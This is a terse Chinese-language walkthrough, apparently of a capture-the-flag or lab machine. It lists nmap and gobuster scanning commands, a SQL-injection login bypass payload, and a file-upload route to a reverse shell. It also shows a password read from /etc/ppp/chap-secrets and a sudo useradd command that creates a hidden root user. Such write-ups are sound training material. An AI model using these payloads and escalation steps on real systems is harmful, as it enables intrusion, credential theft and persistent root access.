kali：192.168.111.111
靶机：192.168.111.234
信息收集
端口扫描
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.234
80端口目录爆破
gobuster dir -u http://192.168.111.234/lot -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf
漏洞利用
访问admin目录进入后台登录界面，登录处存在万能密码
admin'or 1=1#
登录后存在任意文件上传
上传后文件位置/lot/admin/assets/uploads/maps/
获得反弹shell
提权
查看/etc/ppp/chap-secrets，得到ppp用户密码：ESRxd7856HVJB
ppp用户sudo权限
创建root权限的用户
sudo -u root /usr/sbin/useradd -p `openssl passwd -1 a` a -o -u 0 -g root
